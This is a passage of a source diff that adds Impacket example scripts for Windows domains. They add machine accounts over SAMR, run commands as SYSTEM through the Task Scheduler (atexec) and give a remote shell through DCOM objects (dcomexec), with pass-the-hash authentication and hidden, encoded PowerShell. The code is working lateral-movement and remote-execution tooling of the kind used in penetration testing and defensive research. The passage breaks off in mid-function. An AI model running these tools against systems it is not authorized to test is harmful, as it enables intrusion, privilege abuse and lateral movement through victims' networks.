exceeded!" % self.__username) + else: + raise + + userHandle = createUser['UserHandle'] + + if self.__delete: + samr.hSamrDeleteUser(dce, userHandle) + logging.info("Successfully deleted %s." % self.__computerName) + userHandle = None + else: + samr.hSamrSetPasswordInternal4New(dce, userHandle, self.__computerPassword) + if self.__noAdd: + logging.info("Successfully set password of %s to %s." % (self.__computerName, self.__computerPassword)) + else: + checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName]) + userRID = checkForUser['RelativeIds']['Element'][0] + openUser = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, userRID) + userHandle = openUser['UserHandle'] + req = samr.SAMPR_USER_INFO_BUFFER() + req['tag'] = samr.USER_INFORMATION_CLASS.UserControlInformation + req['Control']['UserAccountControl'] = samr.USER_WORKSTATION_TRUST_ACCOUNT + samr.hSamrSetInformationUser2(dce, userHandle, req) + logging.info("Successfully added machine account %s with password %s." % (self.__computerName, self.__computerPassword)) + + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + + logging.critical(str(e)) + finally: + if userHandle is not None: + samr.hSamrCloseHandle(dce, userHandle) + if domainHandle is not None: + samr.hSamrCloseHandle(dce, domainHandle) + if servHandle is not None: + samr.hSamrCloseHandle(dce, servHandle) + dce.disconnect() + + def run(self): + if self.__method == 'SAMR': + self.run_samr() + elif self.__method == 'LDAPS': + self.run_ldaps() + +# Process command-line arguments. +if __name__ == '__main__': + # Init the example's logger theme + logger.init() + + parser = argparse.ArgumentParser(add_help = True, description = "Adds a computer account to domain") + + if sys.version_info.major == 2 and sys.version_info.minor == 7 and sys.version_info.micro < 16: #workaround for https://bugs.python.org/issue11874 + parser.add_argument('account', action='store', help='[domain/]username[:password] Account used to authenticate to DC.') + else: + parser.add_argument('account', action='store', metavar='[domain/]username[:password]', help='Account used to authenticate to DC.') + parser.add_argument('-domain-netbios', action='store', metavar='NETBIOSNAME', help='Domain NetBIOS name. Required if the DC has multiple domains.') + parser.add_argument('-computer-name', action='store', metavar='COMPUTER-NAME$', help='Name of computer to add.' + 'If omitted, a random DESKTOP-[A-Z0-9]{8} will be used.') + parser.add_argument('-computer-pass', action='store', metavar='password', help='Password to set to computer' + 'If omitted, a random [A-Za-z0-9]{32} will be used.') + parser.add_argument('-no-add', action='store_true', help='Don\'t add a computer, only set password on existing one.') + parser.add_argument('-delete', action='store_true', help='Delete an existing computer.') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-method', choices=['SAMR', 'LDAPS'], default='SAMR', help='Method of adding the computer.' + 'SAMR works over SMB.' + 'LDAPS has some certificate requirements' + 'and isn\'t always available.') + + + parser.add_argument('-port', type=int, choices=[139, 445, 636], + help='Destination port to connect to. SAMR defaults to 445, LDAPS to 636.') + + group = parser.add_argument_group('LDAP') + group.add_argument('-baseDN', action='store', metavar='DC=test,DC=local', help='Set baseDN for LDAP.' + 'If ommited, the domain part (FQDN) ' + 'specified in the account parameter will be used.') + group.add_argument('-computer-group', action='store', metavar='CN=Computers,DC=test,DC=local', help='Group to which the account will be added.' + 'If omitted, CN=Computers will be used,') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on account parameters. If valid credentials ' + 'cannot be found, it will use the ones specified in the command ' + 'line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + group.add_argument('-dc-host', action='store',metavar = "hostname", help='Hostname of the domain controller to use. ' + 'If ommited, the domain part (FQDN) ' + 'specified in the account parameter will be used') + group.add_argument('-dc-ip', action='store',metavar = "ip", help='IP of the domain controller to use. ' + 'Useful if you can\'t translate the FQDN.' + 'specified in the account parameter will be used') + + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + domain, username, password = parse_credentials(options.account) + + try: + if domain is None or domain == '': + logging.critical('Domain should be specified!') + sys.exit(1) + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + + executer = ADDCOMPUTER(username, password, domain, options) + executer.run() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + print(str(e)) diff --git a/examples/atexec.py b/examples/atexec.py new file mode 100644 index 0000000..a33894c --- /dev/null +++ b/examples/atexec.py @@ -0,0 +1,319 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# ATSVC example for some functions implemented, creates, enums, runs, delete jobs +# This example executes a command on the target machine through the Task Scheduler +# service. Returns the output of such command +# +# Author: +# Alberto Solino (@agsolino) +# +# Reference for: +# DCE/RPC for TSCH +# + +from __future__ import division +from __future__ import print_function +import string +import sys +import argparse +import time +import random +import logging + +from impacket.examples import logger +from impacket import version +from impacket.dcerpc.v5 import tsch, transport +from impacket.dcerpc.v5.dtypes import NULL +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, \ + RPC_C_AUTHN_LEVEL_PKT_PRIVACY +from impacket.examples.utils import parse_target +from impacket.krb5.keytab import Keytab +from six import PY2 + +CODEC = sys.stdout.encoding + +class TSCH_EXEC: + def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, kdcHost=None, + command=None, sessionId=None, silentCommand=False): + self.__username = username + self.__password = password + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = aesKey + self.__doKerberos = doKerberos + self.__kdcHost = kdcHost + self.__command = command + self.__silentCommand = silentCommand + self.sessionId = sessionId + + if hashes is not None: + self.__lmhash, self.__nthash = hashes.split(':') + + def play(self, addr): + stringbinding = r'ncacn_np:%s[\pipe\atsvc]' % addr + rpctransport = transport.DCERPCTransportFactory(stringbinding) + + if hasattr(rpctransport, 'set_credentials'): + # This method exists only for selected protocol sequences. + rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, + self.__aesKey) + rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) + try: + self.doStuff(rpctransport) + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error(e) + if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >=0: + logging.info('When STATUS_OBJECT_NAME_NOT_FOUND is received, try running again. It might work') + + def doStuff(self, rpctransport): + def output_callback(data): + try: + print(data.decode(CODEC)) + except UnicodeDecodeError: + logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with ' + 'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute atexec.py ' + 'again with -codec and the corresponding codec') + print(data.decode(CODEC, errors='replace')) + + def xml_escape(data): + replace_table = { + "&": "&", + '"': """, + "'": "'", + ">": ">", + "<": "<", + } + return ''.join(replace_table.get(c, c) for c in data) + + def cmd_split(cmdline): + cmdline = cmdline.split(" ", 1) + cmd = cmdline[0] + args = cmdline[1] if len(cmdline) > 1 else '' + + return [cmd, args] + + dce = rpctransport.get_dce_rpc() + + dce.set_credentials(*rpctransport.get_credentials()) + if self.__doKerberos is True: + dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) + dce.connect() + dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) + dce.bind(tsch.MSRPC_UUID_TSCHS) + tmpName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + tmpFileName = tmpName + '.tmp' + + if self.sessionId is not None: + cmd, args = cmd_split(self.__command) + else: + cmd = "cmd.exe" + args = "/C %s > %%windir%%\\Temp\\%s 2>&1" % (self.__command, tmpFileName) + + xml = """ + + + + 2015-07-15T20:35:13.2757294 + true + + 1 + + + + + + S-1-5-18 + HighestAvailable + + + + IgnoreNew + false + false + true + false + + true + false + + true + true + true + false + false + P3D + 7 + + + + %s + %s + + + + """ % ((xml_escape(cmd) if self.__silentCommand is False else self.__command.split()[0]), + (xml_escape(args) if self.__silentCommand is False else " ".join(self.__command.split()[1:]))) + taskCreated = False + try: + logging.info('Creating task \\%s' % tmpName) + tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) + taskCreated = True + + logging.info('Running task \\%s' % tmpName) + done = False + + if self.sessionId is None: + tsch.hSchRpcRun(dce, '\\%s' % tmpName) + else: + try: + tsch.hSchRpcRun(dce, '\\%s' % tmpName, flags=tsch.TASK_RUN_USE_SESSION_ID, sessionId=self.sessionId) + except Exception as e: + if str(e).find('ERROR_FILE_NOT_FOUND') >= 0 or str(e).find('E_INVALIDARG') >= 0 : + logging.info('The specified session doesn\'t exist!') + done = True + else: + raise + + while not done: + logging.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName) + resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName) + if resp['pLastRuntime']['wYear'] != 0: + done = True + else: + time.sleep(2) + + logging.info('Deleting task \\%s' % tmpName) + tsch.hSchRpcDelete(dce, '\\%s' % tmpName) + taskCreated = False + except tsch.DCERPCSessionError as e: + logging.error(e) + e.get_packet().dump() + finally: + if taskCreated is True: + tsch.hSchRpcDelete(dce, '\\%s' % tmpName) + + if self.sessionId is not None: + dce.disconnect() + return + + if self.__silentCommand: + dce.disconnect() + return + + smbConnection = rpctransport.get_smb_connection() + waitOnce = True + while True: + try: + logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName) + smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, output_callback) + break + except Exception as e: + if str(e).find('SHARING') > 0: + time.sleep(3) + elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0: + if waitOnce is True: + # We're giving it the chance to flush the file before giving up + time.sleep(3) + waitOnce = False + else: + raise + else: + raise + logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName) + smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName) + + dce.disconnect() + + +# Process command-line arguments. +if __name__ == '__main__': + print(version.BANNER) + + parser = argparse.ArgumentParser() + + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('command', action='store', nargs='*', default=' ', help='command to execute at the target ') + parser.add_argument('-session-id', action='store', type=int, help='an existed logon session to use (no output, no cmd.exe)') + parser.add_argument('-ts', action='store_true', help='adds timestamp to every logging output') + parser.add_argument('-silentcommand', action='store_true', default = False, help='does not execute cmd.exe to run ' + 'given command (no output)') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default ' + '"%s"). If errors are detected, run chcp.com at the target, ' + 'map the result with ' + 'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute wmiexec.py ' + 'again with -codec and the corresponding codec ' % CODEC) + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. ' + 'If omitted it will use the domain part (FQDN) specified in the target parameter') + group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + # Init the example's logger theme + logger.init(options.ts) + + if options.codec is not None: + CODEC = options.codec + else: + if CODEC is None: + CODEC = 'utf-8' + + logging.warning("This will work ONLY on Windows >= Vista") + + if ''.join(options.command) == ' ': + logging.error('You need to specify a command to execute!') + sys.exit(1) + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + domain, username, password, address = parse_target(options.target) + + if domain is None: + domain = '' + + if options.keytab is not None: + Keytab.loadKeysFromKeytab (options.keytab, username, domain, options) + options.k = True + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + atsvc_exec = TSCH_EXEC(username, password, domain, options.hashes, options.aesKey, options.k, options.dc_ip, + ' '.join(options.command), options.session_id, options.silentcommand) + atsvc_exec.play(address) diff --git a/examples/dcomexec.py b/examples/dcomexec.py new file mode 100644 index 0000000..85635e6 --- /dev/null +++ b/examples/dcomexec.py @@ -0,0 +1,657 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# A similar approach to psexec but executing commands through DCOM. +# You can select different objects to be used to execute the commands. +# Currently supported objects are: +# 1. MMC20.Application (49B2791A-B1AE-4C90-9B8E-E860BA07F889) - Tested Windows 7, Windows 10, Server 2012R2 +# 2. ShellWindows (9BA05972-F6A8-11CF-A442-00A0C90A8F39) - Tested Windows 7, Windows 10, Server 2012R2 +# 3. ShellBrowserWindow (C08AFD90-F2A1-11D1-8455-00A0C91F3880) - Tested Windows 10, Server 2012R2 +# +# Drawback is it needs DCOM, hence, I have to be able to access +# DCOM ports at the target machine. +# +# Original discovery by Matt Nelson (@enigma0x3): +# https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/ +# https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ +# +# Author: +# beto (@agsolino) +# Marcello (@byt3bl33d3r) +# +# Reference for: +# DCOM +# +# ToDo: +# [ ] Kerberos auth not working, invalid_checksum is thrown. Most probably sequence numbers out of sync due to +# getInterface() method +# + +from __future__ import division +from __future__ import print_function +import argparse +import cmd +import logging +import ntpath +import os +import sys +import time +from base64 import b64encode + +from six import PY2, PY3 +from impacket import version +from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, string_to_bin, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \ + VARIANT, VARENUM, DISPATCH_METHOD +from impacket.dcerpc.v5.dcomrt import DCOMConnection, COMVERSION +from impacket.dcerpc.v5.dcomrt import OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, OBJREF_HANDLER, \ + OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \ + IRemUnknown2, INTERFACE +from impacket.dcerpc.v5.dtypes import NULL +from impacket.examples import logger +from impacket.examples.utils import parse_target +from impacket.smbconnection import SMBConnection, SMB_DIALECT, SMB2_DIALECT_002, SMB2_DIALECT_21 +from impacket.krb5.keytab import Keytab + +OUTPUT_FILENAME = '__' + str(time.time())[:5] +CODEC = sys.stdout.encoding + +class DCOMEXEC: + def __init__(self, command='', username='', password='', domain='', hashes=None, aesKey=None, share=None, + noOutput=False, doKerberos=False, kdcHost=None, dcomObject=None, shell_type=None): + self.__command = command + self.__username = username + self.__password = password + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = aesKey + self.__share = share + self.__noOutput = noOutput + self.__doKerberos = doKerberos + self.__kdcHost = kdcHost + self.__dcomObject = dcomObject + self.__shell_type = shell_type + self.shell = None + if hashes is not None: + self.__lmhash, self.__nthash = hashes.split(':') + + def getInterface(self, interface, resp): + # Now let's parse the answer and build an Interface instance + objRefType = OBJREF(b''.join(resp))['flags'] + objRef = None + if objRefType == FLAGS_OBJREF_CUSTOM: + objRef = OBJREF_CUSTOM(b''.join(resp)) + elif objRefType == FLAGS_OBJREF_HANDLER: + objRef = OBJREF_HANDLER(b''.join(resp)) + elif objRefType == FLAGS_OBJREF_STANDARD: + objRef = OBJREF_STANDARD(b''.join(resp)) + elif objRefType == FLAGS_OBJREF_EXTENDED: + objRef = OBJREF_EXTENDED(b''.join(resp)) + else: + logging.error("Unknown OBJREF Type! 0x%x" % objRefType) + + return IRemUnknown2( + INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'], + oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'], + target=interface.get_target())) + + def run(self, addr, silentCommand=False): + if self.__noOutput is False and silentCommand is False: + smbConnection = SMBConnection(addr, addr) + if self.__doKerberos is False: + smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + else: + smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) + + dialect = smbConnection.getDialect() + if dialect == SMB_DIALECT: + logging.info("SMBv1 dialect used") + elif dialect == SMB2_DIALECT_002: + logging.info("SMBv2.0 dialect used") + elif dialect == SMB2_DIALECT_21: + logging.info("SMBv2.1 dialect used") + else: + logging.info("SMBv3.0 dialect used") + else: + smbConnection = None + + dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, + self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) + try: + dispParams = DISPPARAMS(None, False) + dispParams['rgvarg'] = NULL + dispParams['rgdispidNamedArgs'] = NULL + dispParams['cArgs'] = 0 + dispParams['cNamedArgs'] = 0 + + if self.__dcomObject == 'ShellWindows': + # ShellWindows CLSID (Windows 7, Windows 10, Windows Server 2012R2) + iInterface = dcom.CoCreateInstanceEx(string_to_bin('9BA05972-F6A8-11CF-A442-00A0C90A8F39'), IID_IDispatch) + iMMC = IDispatch(iInterface) + resp = iMMC.GetIDsOfNames(('Item',)) + resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_METHOD, dispParams, 0, [], []) + iItem = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) + resp = iItem.GetIDsOfNames(('Document',)) + resp = iItem.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) + pQuit = None + elif self.__dcomObject == 'ShellBrowserWindow': + # ShellBrowserWindow CLSID (Windows 10, Windows Server 2012R2) + iInterface = dcom.CoCreateInstanceEx(string_to_bin('C08AFD90-F2A1-11D1-8455-00A0C91F3880'), IID_IDispatch) + iMMC = IDispatch(iInterface) + resp = iMMC.GetIDsOfNames(('Document',)) + resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) + pQuit = iMMC.GetIDsOfNames(('Quit',))[0] + elif self.__dcomObject == 'MMC20': + iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch) + iMMC = IDispatch(iInterface) + resp = iMMC.GetIDsOfNames(('Document',)) + resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) + pQuit = iMMC.GetIDsOfNames(('Quit',))[0] + else: + logging.fatal('Invalid object %s' % self.__dcomObject) + return + + iDocument = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) + + if self.__dcomObject == 'MMC20': + resp = iDocument.GetIDsOfNames(('ActiveView',)) + resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) + + iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) + pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0] + self.shell = RemoteShellMMC20(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection, self.__shell_type, silentCommand) + else: + resp = iDocument.GetIDsOfNames(('Application',)) + resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) + + iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) + pExecuteShellCommand = iActiveView.GetIDsOfNames(('ShellExecute',))[0] + self.shell = RemoteShell(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection, self.__shell_type, silentCommand) + + if self.__command != ' ': + try: + self.shell.onecmd(self.__command) + except TypeError: + if not silentCommand: + raise + if self.shell is not None: + self.shell.do_exit('') + else: + self.shell.cmdloop() + except (Exception, KeyboardInterrupt) as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + if self.shell is not None: + self.shell.do_exit('') + logging.error(str(e)) + if smbConnection is not None: + smbConnection.logoff() + dcom.disconnect() + sys.stdout.flush() + sys.exit(1) + + if smbConnection is not None: + smbConnection.logoff() + dcom.disconnect() + +class RemoteShell(cmd.Cmd): + def __init__(self, share, quit, executeShellCommand, smbConnection, shell_type, silentCommand=False): + cmd.Cmd.__init__(self) + self._share = share + self._output = '\\' + OUTPUT_FILENAME + self.__outputBuffer = '' + self._shell = 'cmd.exe' + self.__shell_type = shell_type + self.__pwsh = 'powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc ' + self.__quit = quit + self._executeShellCommand = executeShellCommand + self.__transferClient = smbConnection + self._silentCommand = silentCommand + self._pwd = 'C:\\windows\\system32' + self._noOutput = False + self.intro = '[!] Launching semi-interactive shell - Careful what you execute\n[!] Press help for extra shell commands' + + # We don't wanna deal with timeouts from now on. + if self.__transferClient is not None: + self.__transferClient.setTimeout(100000) + self.do_cd('\\') + else: + self._noOutput = True + + def do_shell(self, s): + os.system(s) + + def do_help(self, line): + print(""" + lcd {path} - changes the current local directory to {path} + exit - terminates the server process (and this session) + lput {src_file, dst_path} - uploads a local file to the dst_path (dst_path = default current directory) + lget {file} - downloads pathname to the current local dir + ! {cmd} - executes a local shell cmd +""") + + def do_lcd(self, s): + if s == '': + print(os.getcwd()) + else: + try: + os.chdir(s) + except Exception as e: + logging.error(str(e)) + + def do_lget(self, src_path): + try: + import ntpath + newPath = ntpath.normpath(ntpath.join(self._pwd, src_path)) + drive, tail = ntpath.splitdrive(newPath) + filename = ntpath.basename(tail) + fh = open(filename,'wb') + logging.info("Downloading %s\\%s" % (drive, tail)) + self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write) + fh.close() + except Exception as e: + logging.error(str(e)) + os.remove(filename) + pass + + def do_lput(self, s): + try: + params = s.split(' ') + if len(params) > 1: + src_path = params[0] + dst_path = params[1] + elif len(params) == 1: + src_path = params[0] + dst_path = '' + + src_file = os.path.basename(src_path) + fh = open(src_path, 'rb') + dst_path = dst_path.replace('/','\\') + import ntpath + pathname = ntpath.join(ntpath.join(self._pwd, dst_path), src_file) + drive, tail = ntpath.splitdrive(pathname) + logging.info("Uploading %s to %s" % (src_file, pathname)) + self.__transferClient.putFile(drive[:-1]+'$', tail, fh.read) + fh.close() + except Exception as e: + logging.critical(str(e)) + pass + + def do_exit(self, s): + dispParams = DISPPARAMS(None, False) + dispParams['rgvarg'] = NULL + dispParams['rgdispidNamedArgs'] = NULL + dispParams['cArgs'] = 0 + dispParams['cNamedArgs'] = 0 + + self.__quit[0].Invoke(self.__quit[1], 0x409, DISPATCH_METHOD, dispParams, + 0, [], []) + return True + + def do_EOF(self, s): + print() + return self.do_exit(s) + + def emptyline(self): + return False + + def do_cd(self, s): + self.execute_remote('cd ' + s) + if len(self.__outputBuffer.strip('\r\n')) > 0: + print(self.__outputBuffer) + self.__outputBuffer = '' + else: + if PY2: + self._pwd = ntpath.normpath(ntpath.join(self._pwd, s.decode(sys.stdin.encoding))) + else: + self._pwd = ntpath.normpath(ntpath.join(self._pwd, s)) + self.execute_remote('cd ') + self._pwd = self.__outputBuffer.strip('\r\n') + self.prompt = (self._pwd + '>') + if self.__shell_type == 'powershell': + self.prompt = 'PS ' + self.prompt + ' ' + self.__outputBuffer = '' + + def default(self, line): + # Let's try to guess if the user is trying to change drive + if len(line) == 2 and line[1] == ':': + # Execute the command and see if the drive is valid + self.execute_remote(line) + if len(self.__outputBuffer.strip('\r\n')) > 0: + # Something went wrong + print(self.__outputBuffer) + self.__outputBuffer = '' + else: + # Drive valid, now we should get the current path + self._pwd = line + self.execute_remote('cd ') + self._pwd = self.__outputBuffer.strip('\r\n') + self.prompt = (self._pwd + '>') + if self.__shell_type == 'powershell': + self.prompt = 'PS ' + self.prompt + ' ' + self.__outputBuffer = '' + else: + if line != '': + self.send_data(line) + + def get_output(self): + def output_callback(data): + try: + self.__outputBuffer += data.decode(CODEC) + except UnicodeDecodeError: + logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with ' + 'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute dcomexec.py ' + 'again with -codec and the corresponding codec') + self.__outputBuffer += data.decode(CODEC, errors='replace') + + if self._noOutput is True: + self.__outputBuffer = '' + return + + while True: + try: + self.__transferClient.getFile(self._share, self._output, output_callback) + break + except Exception as e: + if str(e).find('STATUS_SHARING_VIOLATION') >=0: + # Output not finished, let's wait + time.sleep(1) + pass + elif str(e).find('Broken') >= 0: + # The SMB Connection might have timed out, let's try reconnecting + logging.debug('Connection broken, trying to recreate it') + self.__transferClient.reconnect() + return self.get_output() + self.__transferClient.deleteFile(self._share, self._output) + + def execute_remote(self, data, shell_type='cmd'): + if self._silentCommand is True: + self._shell = data.split()[0] + command = ' '.join(data.split()[1:]) + else: + if shell_type == 'powershell': + data = '$ProgressPreference="SilentlyContinue";' + data + data = self.__pwsh + b64encode(data.encode('utf-16le')).decode() + command = '/Q /c ' + data + + if self._noOutput is False: + command += ' 1> ' + '\\\\127.0.0.1\\%s' % self._share + self._output + ' 2>&1' + + logging.debug('Executing: %s' % command) + + dispParams = DISPPARAMS(None, False) + dispParams['rgdispidNamedArgs'] = NULL + dispParams['cArgs'] = 5 + dispParams['cNamedArgs'] = 0 + arg0 = VARIANT(None, False) + arg0['clSize'] = 5 + arg0['vt'] = VARENUM.VT_BSTR + arg0['_varUnion']['tag'] = VARENUM.VT_BSTR + arg0['_varUnion']['bstrVal']['asData'] = self._shell + + arg1 = VARIANT(None, False) + arg1['clSize'] = 5 + arg1['vt'] = VARENUM.VT_BSTR + arg1['_varUnion']['tag'] = VARENUM.VT_BSTR + if PY3: + arg1['_varUnion']['bstrVal']['asData'] = command + else: + arg1['_varUnion']['bstrVal']['asData'] = command.decode(sys.stdin.encoding) + + arg2 = VARIANT(None, False) + arg2['clSize'] = 5 + arg2['vt'] = VARENUM.VT_BSTR + arg2['_varUnion']['tag'] = VARENUM.VT_BSTR + arg2['_varUnion']['bstrVal']['asData'] = self._pwd + + arg3 = VARIANT(None, False) + arg3['clSize'] = 5 + arg3['vt'] = VARENUM.VT_BSTR + arg3['_varUnion']['tag'] = VARENUM.VT_BSTR + arg3['_varUnion']['bstrVal']['asData'] = '' + + arg4 = VARIANT(None, False) + arg4['clSize'] = 5 + arg4['vt'] = VARENUM.VT_BSTR + arg4['_varUnion']['tag'] = VARENUM.VT_BSTR + arg4['_varUnion']['bstrVal']['asData'] = '0' + dispParams['rgvarg'].append(arg4) + dispParams['rgvarg'].append(arg3) + dispParams['rgvarg'].append(arg2) + dispParams['rgvarg'].append(arg1) + dispParams['rgvarg'].append(arg0) + + #print(dispParams.dump()) + + self._executeShellCommand[0].Invoke(self._executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams, + 0, [], []) + self.get_output() + + def send_data(self, data): + self.execute_remote(data, self.__shell_type) + print(self.__outputBuffer) + self.__outputBuffer = '' + +class RemoteShellMMC20(RemoteShell): + def execute_remote(self, data, shell_type='cmd'): + if self._silentCommand is True: + self._shell = data.split()[0] + command = ' '.join(data.split()[1:]) + else: + if shell_type == 'powershell': + data = '$ProgressPreference="SilentlyContinue";' + data + data = self._RemoteShell__pwsh + b64encode(data.encode('utf-16le')).decode() + command = '/Q /c ' + data + + if self._noOutput is False: + command += ' 1> ' + '\\\\127.0.0.1\\%s' % self._share + self._output + ' 2>&1' + + dispParams = DISPPARAMS(None, False) + dispParams['rgdispidNamedArgs'] = NULL + dispParams['cArgs'] = 4 + dispParams['cNamedArgs'] = 0 + arg0 = VARIANT(None, False) + arg0['clSize'] = 5 + arg0['vt'] = VARENUM.VT_BSTR + arg0['_varUnion']['tag'] = VARENUM.VT_BSTR + arg0['_varUnion']['bstrVal']['asData'] = self._shell + + arg1 = VARIANT(None, False) + arg1['clSize'] = 5 + arg1['vt'] = VARENUM.VT_BSTR + arg1['_varUnion']['tag'] = VARENUM.VT_BSTR + arg1['_varUnion']['bstrVal']['asData'] = self._pwd + + arg2 = VARIANT(None, False) + arg2['clSize'] = 5 + arg2['vt'] = VARENUM.VT_BSTR + arg2['_varUnion']['tag'] = VARENUM.VT_BSTR + if PY3: + arg2['_varUnion']['bstrVal']['asData'] = command + else: + arg2['_varUnion']['bstrVal']['asData'] = command.decode(sys.stdin.encoding) + + arg3 = VARIANT(None, False) + arg3['clSize'] = 5 + arg3['vt'] = VARENUM.VT_BSTR + arg3['_varUnion']['tag'] = VARENUM.VT_BSTR + 